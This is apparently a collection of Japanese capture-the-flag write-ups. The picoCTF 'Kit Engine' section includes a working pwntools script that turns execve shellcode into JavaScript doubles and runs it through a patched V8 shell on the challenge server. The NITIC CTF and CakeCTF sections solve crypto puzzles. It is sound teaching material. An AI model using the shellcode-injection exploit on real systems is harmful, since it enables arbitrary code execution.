picoCTF Kit Engine Writeup [Binary Exploitation]

Kit Engine

必要なファイルを一式ダウンロードして展開すると以下のようなファイルが確認できます。

ファイル一覧

.
├── d8
├── server.py
└── source
    ├── Dockerfile
    ├── REVISION
    ├── build.sh
    ├── compile.sh
    └── patch

server.pyが怪しそうなので中身を確認すると以下のようなコードになっていました。

server.py

#!/usr/bin/env python3 

# With credit/inspiration to the v8 problem in downUnder CTF 2020

import os
import subprocess
import sys
import tempfile

def p(a):
    print(a, flush=True)

MAX_SIZE = 20000
input_size = int(input("Provide size. Must be < 5k:"))
if input_size >= MAX_SIZE:
    p(f"Received size of {input_size}, which is too big")
    sys.exit(-1)
p(f"Provide script please!!")
script_contents = sys.stdin.read(input_size)
p(script_contents)
# Don't buffer
with tempfile.NamedTemporaryFile(buffering=0) as f:
    f.write(script_contents.encode("utf-8"))
    p("File written. Running. Timeout is 20s")
    res = subprocess.run(["./d8", f.name], timeout=20, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    p("Run Complete")
    p(f"Stdout {res.stdout}")
    p(f"Stderr {res.stderr}")

server.pyの動作を要約すると、以下のようになります。

  • 標準入力から文字列を受け取り、d8に与えて実行

試しに、d8を実行してみると以下のようにインタプリタが起動します。

$ ./d8
V8 version 9.1.0 (candidate)
d8>

V8 version 9.1.0 (candidate)という記述より、このプログラムがV8 JavaScript engineであることが分かります。 試しに、JavaScriptの文を入力してみると以下のようになります。

$ ./d8
V8 version 9.1.0 (candidate)
d8> console.log("HELLO");
HELLO
undefined
d8>

sourceディレクトリの中のファイルを見るとd8をビルドするための設定が記述されています。 Dockefileの中にpatchファイルを用いてパッチを当てるような記述が存在します。 patchファイルを確認すると以下のようなコードが存在します。

void Shell::AssembleEngine(const v8::FunctionCallbackInfo<v8::Value>& args) {
  Isolate* isolate = args.GetIsolate();
  if(args.Length() != 1) {
    return;
  }

  double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (func == (double *)-1) {
    printf("Unable to allocate memory. Contact admin\n");
    return;
  }

  if (args[0]->IsArray()) {
    Local<Array> arr = args[0].As<Array>();

    Local<Value> element;
    for (uint32_t i = 0; i < arr->Length(); i++) {
      if (arr->Get(isolate->GetCurrentContext(), i).ToLocal(&element) && element->IsNumber()) {
        Local<Number> val = element.As<Number>();
        func[i] = val->Value();
      }
    }

    printf("Memory Dump. Watch your endianness!!:\n");
    for (uint32_t i = 0; i < arr->Length(); i++) {
      printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
    }

    printf("Starting your engine!!\n");
    void (*foo)() = (void(*)())func;
    foo();
  }
  printf("Done\n");
}

上記のAssembleEngine関数の動作を要約すると以下の通りです。

  1. 引数(args)としてdouble型の配列を取得
  2. argsをメモリ(func)に配置
  3. funcを関数のバイナリであると解釈して実行

試しに、d8を起動してAssembleEngineと入力するとこの関数を呼び出せることが分かります。

$ ./d8
V8 version 9.1.0 (candidate)
d8> AssembleEngine
function AssembleEngine() { [native code] }
d8> AssembleEngine([0.0])
Memory Dump. Watch your endianness!!:
0: float 0.000000 hex 0
Starting your engine!!
Received signal 11 SEGV_MAPERR 000000000017

==== C stack trace ===============================

 [0x56428fcd0cd7]
 [0x7f0b7147c3c0]
 [0x7f0b714c2000]
[end of stack trace]
Segmentation fault

上記のことから、バイナリをdouble(JSだとnumber)型の配列に変換し、AssembleEngine関数に引数として与えてコールすれば任意のコードが実行できそうです。 そこで以下のコード(出典: picoCTF 2021 WriteUps | 廢文集中區)を利用し、execve("/bin/ls", ...)やexecve("/bin/cat", ...)のシェルコードをdouble型配列に変換して、サーバに送信します。

from pwn import *
import struct

context.arch = "amd64"
remote_port = 63943

def sc2dbls(sc):
    for i in range(0, len(sc), 8):
        blk = sc[i : i + 8]
        if len(blk) < 8:
            blk = blk + b"\0" * (8 - len(blk))
        yield str(struct.unpack("<d", blk)[0])


def sc2js(sc):
    items = ", ".join(sc2dbls(sc))
    assert not "nan" in items
    code = f"AssembleEngine([{items}])"
    return code


def run_js_remote(code):
    p = remote("mercury.picoctf.net", remote_port)
    p.sendlineafter(b"Provide size", str(len(code)))
    p.sendlineafter(b"Provide script", code)
    return p.recvall().decode()


ls = sc2js(asm(shellcraft.execve(b"/bin/ls", ["ls"])))
catflag = sc2js(asm(shellcraft.execve(b"/bin/cat", ["cat", "flag.txt"])))
print(run_js_remote(ls))
print(run_js_remote(catflag))

上記のプログラムのremote_portを自分のものに合わせて実行するとFlagを獲得することができます。

NITIC CTF 2 Writeup [Crypto]

Caesar Cipher

フラグの中身がシーザー暗号で暗号化されています。 暗号化されたフラグの中身はfdhvduです。

nitic_ctf{復号したフラグの中身}

を提出してください

とのことなので、rot13.comで適当にいじってROT10と特定し復号しました。

ord_xor

import os
flag = os.environ["FLAG"]


def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


enc_flag = ""
for i in range(len(flag)):
    enc_flag += xor(flag[i], i)

with open("./flag", "w") as f:
    f.write(enc_flag)

暗号化の関数xor(c, n)はn⊕cをn回行っています。ここでnが偶数のときxor()への第一引数と返り値は同じになり、また奇数の場合でもn⊕cをもう1回行えば復号できると考えられます。配布ファイルのxor()をそのまま流用して復号しました。

def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


cipher = "nhtjcZcsfroydRx`rl"
flag = ""

for i in range(len(cipher)):
    flag += xor(cipher[i], i)

print(flag)

tanitu_kanji

import os
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

format = os.environ["FORMAT"]
flag = os.environ["FLAG"]

assert len(format) == 10


def conv(s: str, table: str) -> str:
    res = ""
    for c in s:
        i = alphabets.index(c)
        res += table[i]
    return res


for f in format:
    if f == "1":
        flag = conv(flag, after1)
    else:
        flag = conv(flag, after2)

with open("./flag", "w") as file:
    file.write(flag)

暗号化の重要部conv(s, table)はsの各文字に対して、その文字がalphabets[i]にあるときtable[i]の文字と置き換えるという処理を行っています。tableとして取りうるのはafter1とafter2の2つでformatに沿って暗号化されているみたいです。

ここでformatの長さが10でbit全探索で殴れることに注目し、あとは暗号化と逆の手順を行えばフラグを得ることができます。

alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

cipher = "l0d0pipdave0dia244im6fsp8x"

def conv(s: str, table: str) -> str:
    res = ""
    for c in s:
        i = table.index(c)
        res += alphabets[i]
    return res


for i in range(2**10):
    flag = cipher
    for j in range(10):
        if i & 1:
            flag = conv(flag, after1)
        else:
            flag = conv(flag, after2)
        i >>= 1
    if "ctf{" in flag:
        print(flag)

summeRSA

from Crypto.Util.number import *
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = f.read()
    assert len(flag) == 18


p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q

m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)

e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")

自明stereo-typed message attackです。既知部分としてthe magic words are squeamish ossifrage. nitic_ctf{が与えられているので、そのまましゅっと復号します。

from Crypto.Util.number import *


def stereotyped_message_attack(prefix, c):
    PR.<x> = PolynomialRing(Zmod(n))
    f = (prefix + x)^e - c
    diff = f.small_roots(epsilon=1/40)
    if len(diff):
        return long_to_bytes(int(diff[0]))
    else:
        return "not found..."

n = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310

prefix = "the magic words are squeamish ossifrage. nitic_ctf{"
prefix = bytes_to_long(prefix.encode("utf-8")) << (8 * 8)

print(stereotyped_message_attack(prefix, c))

CakeCTF 2021 Writeup [Crypto]

[Crypto] discrete_log

from Crypto.Util.number import getPrime, isPrime, getRandomRange

def getSafePrime(bits):
    while True:
        p = getPrime(bits - 1)
        q = 2*p + 1
        if isPrime(q):
            return q

with open("flag.txt", "rb") as f:
    flag = f.read().strip()

p = getSafePrime(512)
g = getRandomRange(2, p)
r = getRandomRange(2, p)

cs = []
for m in flag:
    cs.append(pow(g, r*m, p))

print(p)
print(g)
print(cs)

512bitの素数pと乱数g, r (2≤g, r ≤p)を定義し、フラグmの各バイト列に対してcipher=g^{rm} \mod pで暗号化を行っている。

暗号化の式は

\displaystyle{ cipher=(g^r \mod p)^m \mod p }

となり、またフラグの頭CakeCTF{であることから、Common Modules Attackと同じ要領でいい感じにg^{r} \mod pを計算できる。

あとはフラグの各文字に対して0x20~0x7eの総当たりで一位に定まるg^{r} \mod pを計算すればいい。

と思ったけど、毎回Common Modules Attack回さなくてもいいじゃん。

import gmpy2, binascii
from output import *

# CakeCTF{*****}
def culc(v1, v2): # https://gist.github.com/AkashiSN/81df83a26fd7c38efd55c5a2515ea9ff#file-common_modulus_attack-py
    n = p
    e1 = 101
    e2 = v2
    c1 = ciphers[3]
    c2 = v1
    val = gmpy2.gcdext(e1,e2)
    if val[1] < 0:
        a = -val[1]
        b = val[2]
        c1_inv = gmpy2.invert(c1,n)
        c1a = pow(c1_inv, a, n)
        c2b = pow(c2, b, n)
    else:
        a = val[1]
        b = -val[2]
        c2_inv = gmpy2.invert(c2,n)
        c1a = pow(c1, a, n)
        c2b = pow(c2_inv, b, n)
    m = (c1a * c2b)%n
    m,result = gmpy2.iroot(m,val[0])
    return m

ans = culc(ciphers[0], 67)
for cipher in ciphers:
    for i in range(200):
        if culc(cipher, i) == ans:
            print(chr(i), end="")
            break
    else:
        print("e", end="")

print("")

# CakeCTF{4h4_p14in73x7_5p4c3_i5_7000000_5m411}

[Crypto] together_as_one

from Crypto.Util.number import getStrongPrime, bytes_to_long

p = getStrongPrime(512)
q = getStrongPrime(512)
r = getStrongPrime(512)

n = p*q*r

x = pow(p + q, r, n)
y = pow(p + q*r, r, n)

m = bytes_to_long(open("./flag.txt", "rb").read())
assert m.bit_length() > 512
c = pow(m, 0x10001, n)

print(f"{n = :#x}")
print(f"{c = :#x}")
print(f"{x = :#x}")
print(f"{y = :#x}")

素数1つ求めた以降が分からなかった。 平文だけでなく、因数p, q, rも一緒に暗号化してるタイプの問題。

\displaystyle{ x=(p+q)^r \mod n \\ y=(p+qr)^r \mod n }

x, yの式は二項定理より、

\displaystyle{ x= \binom{r}{0}p^r+ \binom{r}{1}p^{r-1}q+ \dots+ \binom{r}{r-1}pq^{r-1}+ \binom{r}{r}q^r \mod n \\ y= \binom{r}{0}p^r+ \binom{r}{1}p^{r-1}qr+ \dots+ \binom{r}{r-1}p(qr)^{r-1}+ \binom{r}{r}(qr)^r \mod n }

となる。ここでxの式のp^{r}, q^{r}以外の二項係数はrの倍数になりp, qを因数に含むことから法n(=pqr)に引っかかり0になる。 またyの式のp^{r}, (qr)^{r}以外の項はp, q, rを因数に含むので、0になる。

\displaystyle{ x=p^r+q^r \mod n \\ y=p^r+(qr)^r \mod n }

ここでx-yについて考えてみると、

\displaystyle{ x-y ≡ q^r(1-r^r) \mod n }

となるので、x-yはqの倍数であることがわかる（⇔q=gcd(x-y, n)となる）。また、

\displaystyle{ \frac{x-y}{q}-1≡r^r \mod n }

となり、r=gcd((x-y)/q+1, n)と求めることができる。

これでnが素因数分解できたので、あとはしゅっとやって終わり。

from Crypto.Util.number import *
from output import x, y, n, c

q = GCD(x-y, n)
r = GCD((x-y) // q - 1, n)
p = n // q // r

assert p*q*r == n

phi = (p - 1) * (q - 1) * (r - 1)
e = 65537

d = inverse(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

[Crypto] improvisation

import random

def LFSR():
    r = random.randrange(1 << 64)
    while True:
        yield r & 1
        b = (r & 1) ^\
            ((r & 2) >> 1) ^\
            ((r & 8) >> 3) ^\
            ((r & 16) >> 4)
        r = (r >> 1) | (b << 63)

if __name__ == '__main__':
    with open("flag.txt", "rb") as f:
        flag = f.read()
        assert flag.startswith(b'CakeCTF{')
        m = int.from_bytes(flag, 'little')

    lfsr = LFSR()
    c = 0
    while m:
        c = (c << 1) | ((m & 1) ^ next(lfsr))
        m >>= 1

    print(hex(c))

LFSR（線形帰還シフトレジスタ）で乱数を生成し、XORしている。先入観でcipherはビッグエンディアンだと勘違いしてしまい、開催期間中に解くことができなかった…

LFSRの状態を復元して終わり。

from Crypto.Util.number import *


def LFSR(r):
    while True:
        yield r & 1
        b = (r & 1) ^\
            ((r & 2) >> 1) ^\
            ((r & 8) >> 3) ^\
            ((r & 16) >> 4)
        r = (r >> 1) | (b << 63)


cipher = 0x58566f59979e98e5f2f3ecea26cfb0319bc9186e206d6b33e933f3508e39e41bb771e4af053
cipher = int(bin(cipher)[2:][::-1], 2) << 1
prefix = bytes_to_long("CakeCTF{"[::-1].encode())
lfsr = LFSR((cipher & (2**64 - 1)) ^ prefix)
length = cipher.bit_length()

key = 0
for i in range(length):
    key += next(lfsr) * 2**i

m = key ^ cipher
print(long_to_bytes(m).decode()[::-1])